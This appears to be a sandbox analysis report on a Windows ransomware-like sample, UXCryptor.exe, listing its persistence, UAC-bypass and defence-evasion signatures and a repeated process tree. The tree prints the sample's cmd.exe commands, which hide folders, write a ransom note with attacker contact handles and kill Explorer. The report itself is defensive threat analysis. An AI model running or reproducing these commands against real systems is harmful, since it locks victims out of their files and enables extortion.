Overview

overview

10

Static

static

3

UXCryptor.exe

windows10-2004-x64

10

UXCryptor.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    125s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/07/2026, 18:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    UXCryptor.exe
  • Size 55KB
  • Sample260704-wp8maae16l
  • SHA256 8d4795c4c83ec4961b7f5e9ddcd4ea50015f0ac9a30b5d9274a83ea2d358a572
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoverypersistencetrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 6 IoCs
    persistence
  • UAC bypass 3 TTPs 18 IoCs
    defense_evasiontrojan
  • Disables RegEdit via registry modification 6 IoCs
    defense_evasion
  • Adds Run key to start application 2 TTPs 64 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 12 IoCs
    defense_evasiontrojan
  • Drops desktop.ini file(s) 24 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 36 IoCs
    defense_evasion
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 6 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 64 IoCs
    defense_evasion
  • Views/modifies file attributes 1 TTPs 64 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
    "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Disables RegEdit via registry modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:5936
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:5880
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5596
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5096
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3284
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3332
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:552
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:1964
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4588
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5944
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:5900
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4056
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3884
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:924
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:3672
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:348
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4992
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /f /im Explorer.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4324
  • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
    "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" -startup
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Disables RegEdit via registry modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:880
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\SysWOW64\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:3684
      • C:\Windows\SysWOW64\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
          PID:1472
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3532
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:5448
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • System Location Discovery: System Language Discovery
          PID:5804
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3676
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4892
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
          • Views/modifies file attributes
          PID:5156
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
        2⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\SysWOW64\attrib.exe
          attrib +h +s +r +i /D
          3⤵
          • Drops desktop.ini file(s)
          • Views/modifies file attributes
          PID:5664
        • C:\Windows\SysWOW64\attrib.exe
          attrib -h +s +r info-Locker.txt
          3⤵
            PID:4980
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • Suspicious use of WriteProcessMemory
          PID:1060
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:2328
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:5784
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1288
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:1392
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • System Location Discovery: System Language Discovery
            PID:5356
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill.exe /f /im Explorer.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5860
      • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
        "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
        1⤵
        • Modifies WinLogon for persistence
        • UAC bypass
        • Disables RegEdit via registry modification
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:3428
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Views/modifies file attributes
            PID:2616
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:5820
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • Suspicious use of WriteProcessMemory
          PID:6012
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • Views/modifies file attributes
            PID:5212
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
            • Views/modifies file attributes
            PID:3840
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
          2⤵
          • Hide Artifacts: Hidden Files and Directories
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5280
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h +s +r +i /D
            3⤵
            • Drops desktop.ini file(s)
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:4220
          • C:\Windows\SysWOW64\attrib.exe
            attrib -h +s +r info-Locker.txt
            3⤵
              PID:4288
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            2⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:4160
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h +s +r +i /D
              3⤵
              • Drops desktop.ini file(s)
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:5560
            • C:\Windows\SysWOW64\attrib.exe
              attrib -h +s +r info-Locker.txt
              3⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2008
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            2⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:5980
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h +s +r +i /D
              3⤵
              • Drops desktop.ini file(s)
              • Views/modifies file attributes
              PID:5452
            • C:\Windows\SysWOW64\attrib.exe
              attrib -h +s +r info-Locker.txt
              3⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:4588
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            2⤵
            • Hide Artifacts: Hidden Files and Directories
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4304
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h +s +r +i /D
              3⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2428
            • C:\Windows\SysWOW64\attrib.exe
              attrib -h +s +r info-Locker.txt
              3⤵
              • Views/modifies file attributes
              PID:6112
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill.exe /f /im Explorer.exe
            2⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2976
        • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
          "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --init
          1⤵
          • Modifies WinLogon for persistence
          • UAC bypass
          • Disables RegEdit via registry modification
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:1840
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            2⤵
            • Hide Artifacts: Hidden Files and Directories
            PID:3316
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h +s +r +i /D
              3⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:2104
            • C:\Windows\SysWOW64\attrib.exe
              attrib -h +s +r info-Locker.txt
              3⤵
              • Views/modifies file attributes
              PID:6112
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            2⤵
            • Hide Artifacts: Hidden Files and Directories
            • System Location Discovery: System Language Discovery
            PID:6108
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h +s +r +i /D
              3⤵
              • Drops desktop.ini file(s)
              • Views/modifies file attributes
              PID:5868
            • C:\Windows\SysWOW64\attrib.exe
              attrib -h +s +r info-Locker.txt
              3⤵
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:3012
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            2⤵
            • Hide Artifacts: Hidden Files and Directories
            PID:4200
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h +s +r +i /D
              3⤵
              • Drops desktop.ini file(s)
              • Views/modifies file attributes
              PID:2428
            • C:\Windows\SysWOW64\attrib.exe
              attrib -h +s +r info-Locker.txt
              3⤵
              • System Location Discovery: System Language Discovery
              PID:5216
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
            2⤵
            • Hide Artifacts: Hidden Files and Directories
            PID:5460
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:348
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • Drops desktop.ini file(s)
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:2868
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:2880
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • System Location Discovery: System Language Discovery
              PID:4644
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • Drops desktop.ini file(s)
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:5800
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                • Views/modifies file attributes
                PID:5012
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              PID:4324
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:6116
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:5144
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill.exe /f /im Explorer.exe
              2⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4224
          • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
            "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /setup
            1⤵
            • Modifies WinLogon for persistence
            • UAC bypass
            • Disables RegEdit via registry modification
            • Adds Run key to start application
            • Checks whether UAC is enabled
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:3836
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              • System Location Discovery: System Language Discovery
              PID:5960
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:120
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                • Views/modifies file attributes
                PID:4120
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              PID:5724
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • Drops desktop.ini file(s)
                • Views/modifies file attributes
                PID:1228
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:924
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              PID:2892
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • Drops desktop.ini file(s)
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:3476
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:4572
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              PID:3036
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • Drops desktop.ini file(s)
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:4992
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                • System Location Discovery: System Language Discovery
                • Views/modifies file attributes
                PID:464
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              PID:2852
              • C:\Windows\SysWOW64\attrib.exe
                attrib +h +s +r +i /D
                3⤵
                • Drops desktop.ini file(s)
                • Views/modifies file attributes
                PID:3024
              • C:\Windows\SysWOW64\attrib.exe
                attrib -h +s +r info-Locker.txt
                3⤵
                  PID:4732
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                2⤵
                • Hide Artifacts: Hidden Files and Directories
                • System Location Discovery: System Language Discovery
                PID:3504
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h +s +r +i /D
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Views/modifies file attributes
                  PID:5584
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h +s +r info-Locker.txt
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Views/modifies file attributes
                  PID:5336
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill.exe /f /im Explorer.exe
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5208
            • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
              "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --wininit
              1⤵
              • Modifies WinLogon for persistence
              • UAC bypass
              • Disables RegEdit via registry modification
              • Adds Run key to start application
              • Checks whether UAC is enabled
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              • System policy modification
              PID:1704
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                2⤵
                • Hide Artifacts: Hidden Files and Directories
                PID:4544
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h +s +r +i /D
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Views/modifies file attributes
                  PID:5392
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h +s +r info-Locker.txt
                  3⤵
                  • Views/modifies file attributes
                  PID:5480
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                2⤵
                • Hide Artifacts: Hidden Files and Directories
                PID:1336
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h +s +r +i /D
                  3⤵
                  • Drops desktop.ini file(s)
                  • Views/modifies file attributes
                  PID:3380
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h +s +r info-Locker.txt
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Views/modifies file attributes
                  PID:1624
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                2⤵
                • Hide Artifacts: Hidden Files and Directories
                PID:616
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h +s +r +i /D
                  3⤵
                  • Drops desktop.ini file(s)
                  • Views/modifies file attributes
                  PID:3300
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h +s +r info-Locker.txt
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Views/modifies file attributes
                  PID:5200
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                2⤵
                • Hide Artifacts: Hidden Files and Directories
                • System Location Discovery: System Language Discovery
                PID:1464
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h +s +r +i /D
                  3⤵
                  • Drops desktop.ini file(s)
                  • Views/modifies file attributes
                  PID:2960
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h +s +r info-Locker.txt
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Views/modifies file attributes
                  PID:3144
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                2⤵
